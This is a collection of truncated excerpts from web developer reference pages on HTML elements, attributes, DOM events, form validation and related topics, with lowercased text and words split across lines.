mmended that you read up on the differences if you are not sure what they are. they are however implemented in the same way technically, so the material in this article will apply to both. for this article we will refer to the text tracks displayed as subtitles, as their content is aimed at hearing people who have difficulty understanding the language of the film, rather than deaf or hard-of-hearin...
...pecification is still being worked on, but major parts of it are stable so we can use it today. video providers (such as the blender foundation) provide captions and subtitles in a text format with their videos, but they're usually in the subrip text (srt) format. these can be easily converted to webvtt using an online converter such as srt2vtt. modifications to the html and css this section su
mmarises the modifications made to the previous article's code in order to facilitate the addition of subtitles to the video. if you are not interested in this, and just want to get straight into the javascript and more relevant css, skip to the subtitle implementation section. in this example we are using a different video, sintel, as it actually has some speech in it and therefore is better for...
Block formatting context - Developer guides
ant for telling the browser how you want to deal with overflowing content. there are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a bfc. in addition, it is potentially not readable for a future developer, as it might not be obvious why you used overflow for this purpose. if you use overflow, it is a good idea to co
mment the code to explain. using display: flow-root a newer value of display lets us create a new bfc without any other potentially problematic side-effects. using display: flow-root on the containing block creates a new bfc . with display: flow-root; on the <div>, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the ...
... collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { background: blue; } .red-outer { overflow: hidden; background: red; } specifications specification status co
mment css display module level 3the definition of 'block formatting context' in that specification. candidate reco
mmendation define bfc(abbr) etc. css level 2 (revision 1)the definition of 'block formatting context' in that specification. reco
mmendation initial definition. see also float, clear css key concepts: css syntax, at-rule, co
mments, specific...
Creating and triggering events - Developer guides
creating custom events events can be created with the event constructor as follows: const event = new event('build'); // listen for the event. elem.addeventlistener('build', function (e) { /* ... */ }, false); // dispatch the event. elem.dispatchevent(event); the above code example uses the eventtarget.dispatchevent() method. this constructor is supported in most modern browsers (with internet explorer being the exception). for a more verbose approach (which works with internet explorer), see the old-fashioned way below. ...
...view the example in action. function simulateclick() { const event = new mouseevent('click', { view: window, bubbles: true, cancelable: true }); const cb = document.getelementbyid('checkbox'); const cancelled = !cb.dispatchevent(event); if (cancelled) { // a handler called preventdefault. alert("can...
DOM onevent handlers - Developer guides
this page focuses on how the latter work. registering onevent handlers the onevent handlers are properties on certain dom elements to manage how that element reacts to events. elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element). events are actions like: being clicked detecting pressed keys getting focus the onevent handler is usually named with the event it reacts to, like onclick, onkeypress, onfocus, etc. ...
...or properties in web apis, such as <button onclick="alert(this)"> or window.onload = function() { … }. when discussing the various methods of listening to events: event listener refers to a function or object registered via eventtarget.addeventlistener() event handler refers to a function registered via on… attributes or properties specifications specification status co
mment html living standardthe definition of 'event handlers' in that specification. living standard html5the definition of 'event handlers' in that specification. reco
mmendation browser compatibility detecting the presence of event handler properties you can detect the presence of an event handler property with the javascript in operator. for example: if...
Orientation and motion data explained - Developer guides
this article provides details about the coordinate systems at play and how you use them. about coordinate frames a coordinate frame is a system whereby the orientation of the three axes (x, y, and z) are defined in reference to an object. there are two coordinate frames to consider when using orientation and motion events: earth coordinate frame the earth coordinate frame is the coordinate frame fixed on the center of the earth; that is, the axes are aligned based on the pull of gravity and the standard magnetic north orientation. we use upper-case letters ("x", "y", and "z") to describe the axes of the earth coordinate frame. ...
...rotation around the x axis -- that is, tipping the device away from or toward the user -- causes the beta rotation angle to change: the beta angle is 0° when the device's top and bottom are the same distance from the earth's surface; it increases toward 180° as the device is tipped forward toward the user, and it decreases toward -180° as the device is tipped backward away from the user. ga
mma rotation around the y axis -- that is, tilting the device toward the left or right -- causes the ga
mma rotation angle to change: the ga
mma angle is 0° when the device's left and right sides are the same distance from the surface of the earth, and increases toward 90° as the device is tipped toward the right, and toward -90° as the device is tipped toward the left. ...
Constraint validation - Developer guides
the value must be an absolute url, as defined in the url living standard. typemismatch constraint violation <input type="email"> the value must be a syntactically valid email address, which generally has the format username@hostname.tld. typemismatch constraint violation for both of these input types, if the multiple attribute is set, several values can be set, as a co
mma-separated list, for this input. if any of these do not satisfy the condition described here, the type mismatch constraint violation is triggered. note that most input types don't have intrinsic constraints, as some are simply barred from constraint validation or have a sanitization algorithm transforming incorrect values to a correct default. validation-related attributes in addition to the t...
...lidity(constraints[country][1]); } } then we link it to the onchange event for the <select> and the oninput event for the <input>: window.onload = function () { document.getelementbyid("country").onchange = checkzip; document.getelementbyid("zip").oninput = checkzip; } you can see a live example of the postal code validation. limiting the size of a file before its upload another co
mmon constraint is to limit the size of a file to be uploaded. checking this on the client side before the file is transmitted to the server requires combining the constraint validation api, and especially the field.setcustomvalidity() method, with another javascript api, here the file api. here is the html part: <label for="fs">select a file smaller than 75 kb : </label> <input type="file" id="fs...
Introduction to HTML5 - Developer guides
usually indicating the character set that is used. in previous versions of html, it was done using a very complex <meta> element. now, it is very simple: <meta charset="utf-8"> place this right after your <head>, as some browsers restart the parsing of an html document if the declared character set is different from what they had anticipated. also, if you are not currently using utf-8, it's reco
mmended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this was done to tighten security and prevent some types of attacks. using the new html5 parser the parsing rules of html5, which analyze the meaning of mark-up, have been more ...
..., it meant that all browsers behaved differently, which is no longer the case. now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way. this requirement helps web developers quite a bit. while it is true that all modern browsers now use these html5 parsing rules, non-html5-compliant browsers are still used by some. keep in mind that it's still highly reco
mmended that one writes valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers. don't worry — you don't have to change anything on your website. the web browsers' developers have done everything for you! ...
Printing - Developer guides
you wish to use different styles to enhance the appearance of your content on paper. you wish to use higher resolution images for a better result. you want to adjust the user experience of printing, such as presenting a specially-formatted version of your content before printing begins. there may be other cases in which you want to manage the printing process, but these are some of the most co
mmon scenarios. this article provides tips and techniques for helping your web content print better. using a print style sheet add the following to your <head> tag. <link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer) send beforeprint and afterprint e...
... let content determine when printing may have occurred. you can use this to adjust the user interface presented during printing (such as by displaying or hiding user interface elements during the print process). note: you can also use window.onbeforeprint and window.onafterprint to assign handlers for these events, but using eventtarget.addeventlistener() is preferred. examples here are some co
mmon examples. open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascript window close example </...
Developer guides
s a list of all web apis and what they do. javascript javascript is the powerful scripting language used to create applications for the web. localizations and character encodings browsers process text as unicode internally. however, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. the html specification reco
mmends the use of the utf-8 encoding (which can represent all of unicode), and regardless of the encoding used requires web content to declare that encoding. mobile web development this article provides an overview of some of the main techniques needed to design web sites that work well on mobile devices. progressive web apps progressive web apps (pwas) use modern web apis along with tradit...
...ed for sending form data, but can be used independently from forms to transmit keyed data. the transmission is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "multipart/form-data". user input and controls modern web user input goes beyond simple mouse and keyboard: think of touchscreens for example. this article provides reco
mmendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies. glossary defines numerous technical terms related to the web and the internet. ...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
" a given (first) name as given on a payment instrument like a credit card. "cc-additional-name" a middle name as given on a payment instrument or credit card. "cc-family-name" a family name, as given on a credit card. "cc-number" a credit card number or other number identifying a payment method, such as an account number. "cc-exp" a payment method expiration date, typically in the form "
mm/yy" or "
mm/yyyy". "cc-exp-month" the month in which the payment method expires. "cc-exp-year" the year in which the payment method expires. "cc-csc" the security code for the payment instrument; on credit cards, this is the 3-digit verification number on the back of the card. "cc-type" the type of payment instrument (such as "visa" or "master card"). "transaction-currency" the currency ...
...g seven digits shows the postal code. ...
Date and time formats used in HTML - HTML: Hypertext Markup Language
the insertion or deletion of content occurred. for <input>, the values of type that return a value which contains a string representing a date and/or time are: date datetime datetime-local month time week examples before getting into the intricacies of how date and time strings are written and parsed in html, here are some examples that should give you a good idea what the more co
mmonly-used date and time string formats look like. example html date and time strings string date and/or time 2005-06-07 june 7, 2005 [details] 08:45 8:45 am [details] 08:45:25 8:45 am and 25 seconds [details] 0033-08-04t03:40 3:40 am on august 4, 33 [details] 1977-04-01t14:00:30 30 seconds after 2:00 pm on ap...
...tc) in the early 1960s, the time base is z and the offset indicates a particular time zone's offset from the time at the prime meridian at 0º longitude (which passes through the royal observatory at greenwich, england). for dates prior to utc, the time base is instead expressed in terms of ut1, which is the contemporary earth solar time at the prime meridian. the time zone string is appended i
mmediately following the time in the date and time string. you can specify simply "z" as the time zone offset string to indicate that the time is specified in utc. otherwise, the time zone string is constructed as follows: a character indicating the sign of the offset: the plus character ("+", or u+002b) for time zones to the east of the prime meridian or the minus character ("-", or u+002d) for ...
<address>: The Contact Address element - HTML: Hypertext Markup Language
ent, no heading content (<hgroup>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>), no sectioning content (<article>, <aside>, <section>, <nav>), and no <header> or <footer> element. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content, but always excluding <address> elements (according to the logical principle of sy
mmetry, if <address> tag, as a parent, can not have nested <address> element, then the same <address> content can not have <address> tag as its parent). implicit aria role no corresponding role permitted aria roles any dom interface htmlelement prior to gecko 2.0 (firefox 4), gecko implemented this element using the htmlspanelement interface attributes thi...
... to visit us:<br> mozilla foundation<br> 331 e evelyn ave<br> mountain view, ca 94041<br> usa </address> result although it renders text with the same default styling as the <i> or <em> elements, it is more appropriate to use <address> when dealing with contact information, as it conveys additional semantic information. specifications specification status co
mment html living standardthe definition of '<address>' in that specification. living standard html5the definition of '<address>' in that specification. reco
mmendation html 4.01 specificationthe definition of '<address>' in that specification. reco
mmendation ...
<area> - HTML: Hypertext Markup Language
in any user agents.) examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html" alt="click to go left"> <area shape="circle" coords="275,75,75" href="right.html" alt="click to go right"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result specifications specification status co
mment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate reco
mmendation added the referrerpolicy attribute. html living standardthe definition of '<area>' in that specification. living standard html5the definition of '<area>' in that specification. reco
mmendation html 4.01 specificationthe definitio...
...on of 'referrerpolicy attribute' in that specification. candidate reco
mmendation added the referrerpolicy attribute. html living standardthe definition of '<area>' in that specification. living standard html5the definition of '<area>' in that specification. ...
<aside>: The Aside element - HTML: Hypertext Markup Language
ragraph is only indirectly related to the main article content: <article> <p> the disney movie <cite>the little mermaid</cite> was first released to theatres in 1989. ...
... <aside> <p> the movie earned $87 million during its initial release. </p> </aside> <p> more info about the movie... ...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
gy such as a screen reader can understand what it contains. the title's value should concisely describe the embedded content. without a title, they may not be able to determine what its embedded content is. ...
... embedded content is. this context shift can be confusing and time-consuming, especially if the embed element contains interactive content like video or audio. ...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
txt+= "cookies enabled: " + navigator.cookieenabled + "; "; txt+= "platform: " + navigator.platform + "; "; txt+= "user-agent header: " + navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then progra
mming must be the process of putting them in.</blockquote> </figure> poems <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><c...
... will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status co
mment html living standardthe definition of '<figure>' in that specification. living standard html 5.2the definition of '<figure>' in that specification. reco
mmendation no changes from html 5.0. html5the definition of '<figure>' in that specification. reco
mmendation ...
<font> - HTML: Hypertext Markup Language
usage note: do not use this element! though once normalized in html 3.2, it was deprecated in html 4.01, at the same time as all elements related to styling only, then made obsolete in html5. starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element). for any new web development, styling should be written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties. attributes like all other html elements, this element supports the global attributes. ...
... written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties. attributes like all other html elements, this element supports the global attributes. color this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. face this attribute contains a co
mma-separated list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. size this attribute specifies the font size as either a numeric or relative value. numeric values range ...
<footer> - HTML: Hypertext Markup Language
bility concerns the voiceover screen reader has an issue where the footer landmark role is not announced in the landmark rotor. to address this, add role="contentinfo" to the footer element. ...
...ent. ...
manifest - HTML: Hypertext Markup Language
lication cache manifest that is downloaded in the early stages of page load. note: manifest-based caching mechanism has been deprecated. use service workers instead. ...
...caching mechanism has been deprecated. use service workers instead. ...
<input type="color"> - HTML: Hypertext Markup Language
r picker window. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported co
mmon attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal format. while you can input the color in either upper- or lower-case, it will be stored in lower-case form. the value is never in any...
...cted color: function updateall(event) { document.queryselectorall("p").foreach(function(p) { p.style.color = event.target.value; }); } this sets the color of every <p> block so that its color attribute matches the current value of the color input, which is referred to using event.target. result the final result looks like this: specifications specification status co
mment html living standard living standard initial definition html5 reco
mmendation initial definition ...
<input type="reset"> - HTML: Hypertext Markup Language
lease clone https://github.com/mdn/interactive-examples and send us a pull request. you should usually avoid including reset buttons in your forms. they're rarely useful, and are instead more likely to frustrate users who click them by mistake (often while trying to click the submit button). value a domstring used as the button's label events click supported co
mmon attributes type and value idl attributes value methods none value an <input type="reset"> element's value attribute contains a domstring that is used as the button's label. buttons such as reset don't have a value otherwise. <input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "rese...
...hey have no real value to be constrained. examples we've included simple examples above. there isn't really anything more to say about reset buttons. specifications specification status html living standardthe definition of '<input type="reset">' in that specification. living standard html5the definition of '<input type="reset">' in that specification. reco
mmendation ...
<listing> - HTML: Hypertext Markup Language
note: do not use this element. it is deprecated since html 3.2 and was neither implemented by all browsers, nor in a consistent way. even more it is obsoleted in html5 and may be rendered by conforming user-agents as the <pre> element, which will interpret the internal html! instead use the <pre> element or if semantically adequate the <code> element, eventually escaping the html '<' and '>' so that they don't get interpreted. ...
... use the <pre> element or if semantically adequate the <code> element, eventually escaping the html '<' and '>' so that they don't get interpreted. a monospaced font can also be obtained on a simple <div> element, by applying an adequate css style using monospace as the generic-font value in a font-family property. attributes this element has no other attributes than the global attributes, co
mmon to all elements. dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-d...
<main> - HTML: Hypertext Markup Language
he document's outline; that is, unlike elements such as <body>, headings such as <h2>, and such, <main> doesn't affect the dom's concept of the structure of the page. it's strictly informative. example <!-- other content --> <main> <h1>apples</h1> <p>the apple is the pomaceous fruit of the apple tree.</p> <article> <h2>red delicious</h2> <p>these bright red apples are the most co
mmon found in many supermarkets.</p> <p>... </p> <p>... </p> </article> <article> <h2>granny smith</h2> <p>these juicy, green apples make a great filling for apple pies.</p> <p>... </p> <p>... </p> </article> </main> <!-- other content --> accessibility concerns landmark the <main> element behaves like a main landmark role. landmarks can be used by assistiv...
...in page content --> </main> </body> webaim: "skip navigation" links reader mode browser reader mode functionality looks for the presence of the <main> element, as well as heading and content sectioning elements when converting content into a specialized reader view. building websites for safari reader mode and other reading apps. specifications specification status co
mment html living standardthe definition of '<main>' in that specification. living standard html 5.1the definition of '<main>' in that specification. reco
mmendation no change from html5. html5the definition of '<main>' in that specification. reco
mmendation initial definition. ...
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
of the marquee. ...
... specification status co
mment html living standardthe definition of '<marquee>' in that specification. living standard make it obsolete in favor of css but define its expected behavior, for backward compatibility. however, the development of the marquee features of css have since been abandoned. html5the definition of '<marquee>' in that specification. reco
mmendation make it obsolete in favor of css but define its expected behavior, for backward compatibility. however, the development of the marquee features of css have since been abandoned. ...
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
google chrome, the resulting meter looks like this: high and low range example note that in this example the min attribute is omitted. this is allowed, as it will default to 0. ...
...l <p>he got a <meter low="69" high="80" max="100" value="84">b</meter> on the exam.</p> result on google chrome, the resulting meter looks like this: specifications specification status co
mment html living standardthe definition of '<meter>' in that specification. living standard html5the definition of '<meter>' in that specification. reco
mmendation initial definition ...
<ol>: The Ordered List element - HTML: Hypertext Markup Language
<ol> <li>first item</li> <li>second item <!-- closing </li> tag not here! ...
...li> <!-- here's the closing </li> tag --> <li>third item</li> </ol> the above html will output: specifications specification status co
mment html living standardthe definition of '<ol>' in that specification. living standard no change since last w3c snapshot, html5. html5the definition of 'htmlolistelement' in that specification. reco
mmendation added reversed and start attributed; un-deprecated type html 4.01 specificationthe definition of '<ol>' in that specification. reco
mmendation deprecated compact and type. ...
<optgroup> - HTML: Hypertext Markup Language
teractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <option> elements. tag omission the start tag is mandatory. the end tag is optional if this element is i
mmediately followed by another <optgroup> element, or if the parent element has no more content. permitted parents a <select> element. implicit aria role group permitted aria roles no role permitted dom interface htmloptgroupelement note: optgroup elements may not be nested. attributes this element includes the global attributes. disabled ...
...group label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status co
mment html living standardthe definition of '<optgroup>' in that specification. living standard html5the definition of '<optgroup>' in that specification. reco
mmendation html 4.01 specificationthe definition of '<optgroup>' in that specification. reco
mmendation ...
<output>: The Output element - HTML: Hypertext Markup Language
a" value="10" /> = <output name="result" for="a b">60</output> </form> accessibility concerns many browsers implement this element as an aria-live region. ...
... thereby announce the results of ui interactions posted inside it without requiring that focus is switched away from the controls that produce those results. ...
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
tains the annotation's text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content text tag omission the end tag can be omitted if the element is i
mmediately followed by an <rt> or another <rp> element, or if there is no more content in the parent element. permitted parents a <ruby> element. <rp> must be positioned i
mmediately before or after an <rt> element. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes t...
...rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> css body { font-size: 22px; } the result looks like this in your browser: the html above rendered by a browser without ruby support might look like this: 漢 (kan) 字 (ji) body { font-size: 22px; } see the article about the <ruby> element for further examples. specifications specification status co
mment html living standardthe definition of '<rp>' in that specification. living standard html5the definition of '<rp>' in that specification. reco
mmendation ...
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
ed in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. see the article about the <ruby> element for more examples. content categories none. permitted content phrasing content. tag omission the end tag may be omitted if the <rt> element is i
mmediately followed by an <rt> or <rp> element, or if there is no more content in the parent element permitted parents a <ruby> element. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. examples this simple example provides romaji translite...
...le provides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status co
mment html living standardthe definition of '<rt>' in that specification. living standard html5the definition of '<rt>' in that specification. reco
mmendation ...
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
ns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content phrasing content or <rt> elements. tag omission the closing tag can be omitted if it is i
mmediately followed by a <rb>, <rtc> or <rt> element opening tag or by its parent closing tag. permitted parents a <ruby> element. permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. examples <div class="info"> <ruby> <rbc> <rb>旧</rb><rt>jiù</rt> <rb>金</rb><rt>jīn</rt> ...
... htmlelement attributes this element only includes the global attributes. examples <div class="info"> <ruby> <rbc> <rb>旧</rb><rt>jiù</rt> <rb>金</rb><rt>jīn</rt> <rb>山</rb><rt>shān</rt> </rbc> <rtc>san francisco</rtc> </ruby> </div> .info { padding-top: 10px; font-size: 36px; } specifications specification status co
mment html 5.2the definition of '<rtc>' in that specification. reco
mmendation html 5.1the definition of '<rtc>' in that specification. reco
mmendation html5the definition of '<rtc>' in that specification. reco
mmendation initial definition. ...
<ruby> - HTML: Hypertext Markup Language
permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. ...
... 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> example 2: word <ruby> 明日 <rp>(</rp><rt>ashita</rt><rp>)</rp> </ruby> specifications specification status co
mment html living standardthe definition of '<ruby>' in that specification. living standard html5the definition of '<ruby>' in that specification. reco
mmendation ...
<slot> - HTML: Hypertext Markup Language
ial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0; background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <su
mmary> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="description">need description</slot></i> </su
mmary> <div class="attributes"> <h4>attributes</h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr> </template> note: you can see this complete example in action at element-details (see...
... living standard domthe definition of 'slots' in that specification. ...
<template>: The Content Template element - HTML: Hypertext Markup Language
think of a template as a content fragment that is being stored for subsequent use in the document. while the parser does process the contents of the <template> element while loading the page, it does so only to ensure that those contents are valid; the element's contents are not rendered, however. ...
...(true); secondclone.addeventlistener("click", clickhandler); container.appendchild(secondclone); result firstclone is a documentfragment instance, so while it gets appended inside the container as expected, clicking on it does not trigger the click event. secondclone is an htmldivelement instance, clicking on it works as one would expect. specifications specification status co
mment html living standardthe definition of 'template element' in that specification. living standard html5the definition of 'template element' in that specification. reco
mmendation initial definition ...
<time> - HTML: Hypertext Markup Language
...
...</p> output datetime example html <p>the concert took place on <time datetime="2001-05-15t19:00">may 15</time>.</p> output specifications specification status co
mment html living standardthe definition of '<time>' in that specification. living standard no change from html 5.1 html 5.1the definition of '<time>' in that specification. reco
mmendation no change from html5 html5the definition of '<time>' in that specification. reco
mmendation initial definition. ...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
first item</li> <li>second item <!-- look, the closing </li> tag is not placed here! ...
...</li> <li>second item third subitem</li> </ol> <!-- here is the closing </li> tag --> </li> <li>third item</li> </ul> the above html will output: specifications specification status co
mment html living standardthe definition of '<ul>' in that specification. living standard html5the definition of '<ul>' in that specification. reco
mmendation ...
<xmp> - HTML: Hypertext Markup Language
note: do not use this element. it has been deprecated since html3.2 and was not implemented in a consistent way. it was completely removed from the language in html5. use the <pre> element or, if semantically adequate, the <code> element instead. note that you will need to escape the '<' character as '<' to make sure it is not interpreted as markup. a monospaced font can also be obtained on any element, by applying an adequate css style using monospace as the generic-font value for the font-family property. ...
...antically adequate, the <code> element instead. note that you will need to escape the '<' character as '<' to make sure it is not interpreted as markup. a monospaced font can also be obtained on any element, by applying an adequate css style using monospace as the generic-font value for the font-family property. attributes this element has no other attributes than the global attributes, co
mmon to all elements. dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. ...
contenteditable - HTML: Hypertext Markup Language
or its value is invalid, its value is inherited from its parent element: so the element is editable if its parent is editable. note that although its allowed values include true and false, this attribute is an enumerated one and not a boolean one. you can set the color used to draw the text insertion caret with the css caret-color property. ...
...one. you can set the color used to draw the text insertion caret with the css caret-color property. specifications specification status co
mment html living standardthe definition of 'contenteditable' in that specification. living standard no change from latest snapshot, html 5.2 html 5.2the definition of 'contenteditable' in that specification. reco
mmendation snapshot of html living standard, no change from html 5.1 html 5.1the definition of 'contenteditable' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'contenteditable' in that specification. reco
mmendation snapshot of html living standard, initial definition. ...
data-* - HTML: Hypertext Markup Language
d several data-* attributes: <img class="spaceship cruiserx3" src="shipx3.png" data-ship-id="324" data-weapons="laseri laserii" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spaceships[this.dataset.shipid].blasted()"> for a more in-depth tutorial about using html data attributes, see using data attributes. ...
...ataset.shipid].blasted()"> for a more in-depth tutorial about using html data attributes, see using data attributes. specifications specification status co
mment html living standardthe definition of 'data-*' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'data-*' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'data-*' in that specification. reco
mmendation snapshot of html living standard, initial definition. ...
dropzone - HTML: Hypertext Markup Language
content can be dropped on an element, using the html drag and drop api. ...
...ve the following values: copy, which indicates that dropping will create a copy of the element that was dragged. ...
hidden - HTML: Hypertext Markup Language
raphics engine as an off-screen buffer, and a form control could refer to a hidden form element using its form attribute. note: changing the value of the css display property on an element with the hidden attribute overrides the behavior. for instance, elements styled display: flex will be displayed despite the hidden attribute's presence. specifications specification status co
mment html living standardthe definition of 'hidden' in that specification. living standard no change from latest snapshot, html 5.1 html living standardthe definition of 'hidden elements' in that specification. living standard defines the suggested default rendering of the hidden attribute using css html 5.1the definition of 'hidden' in that specification. ...
... html living standardthe definition of 'hidden' in that specification. living standard no change from latest snapshot, html 5.1 html living standardthe definition of 'hidden elements' in that specification. living standard defines the suggested default rendering of the hidden attribute using css html 5.1the definition of 'hidden' in that specification. reco
mmendation snapshot of html living standard, initial definition ...
spellcheck - HTML: Hypertext Markup Language
for spelling errors only if its nearest ancestor has a spellcheck state of true. this attribute is merely a hint for the browser: browsers are not required to check for spelling errors. ...
...d for spelling errors, even if the spellcheck attribute is set to true and the browser supports spellchecking. specifications specification status co
mment html living standardthe definition of 'spellcheck' in that specification. ...
translate - HTML: Hypertext Markup Language
translators. as such it's important that web authors use this attribute to mark content that should not be translated. examples in this example, the translate attribute is used to ask translation tools not to translate the company's brand name in the footer. ...
...mpany's brand name in the footer. <footer> <small>© 2020 <span translate="no">brandname</span></small> </footer> specifications specification status co
mment html living standardthe definition of 'translate' in that specification. ...
Microdata - HTML: Hypertext Markup Language
d by itemtype and startdate and location would be itemprop's that schema.org music event defines. note: more about itemtype attributes can be found at http://schema.org/thing microdata vocabularies provide the semantics or meaning of an item. web developers can design a custom vocabulary or use vocabularies available on the web, such as the widely used schema.org vocabulary. ...
...at schema.org music event defines. note: more about itemtype attributes can be found at http://schema.org/thing microdata vocabularies provide the semantics or meaning of an item. web developers can design a custom vocabulary or use vocabularies available on the web, such as the widely used schema.org vocabulary. a collection of co
mmonly used markup vocabularies are provided by schema.org. ...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
in the html's <head>, specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle, before browsers' main rendering machinery kicks in. this ensures they are available earlier and are less likely to block the page's render, improving performance. this article provides a basic guide to how <link rel="preload"> works. the basics you most co
mmonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want. you will also need to specify: the path to the resource in the href attribute. the type of resource in the as attribute. a simple example might look like this (see our js an...
...had a problem: there was no way to work out a priority for the items (as didn't exist back then), so they all got fetched with fairly low priority. there are a number of script-based resource loaders out there, but they don't have any power over the browser's fetch prioritization queue, and are subject to much the same performance problems. specifications specification status co
mment preloadthe definition of 'preload' in that specification. candidate reco
mmendation further details of preload. html living standardthe definition of 'rel=preload' in that specification. living standard definition of rel=preload. ...
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
e whether to handle it in quirks mode or standards mode. to ensure that your page uses full standards mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one reco
mmended by html5. earlier versions of the html standard reco
mmended other variants, but all existing browsers today will use full standards mode for this doctype, even the dated internet explorer 6. there are no valid reasons to use a more complicated doctype. if you do use another doctype, you may risk choosing one which triggers almost standards mode or quirks mode. make sure you put the doctype ...
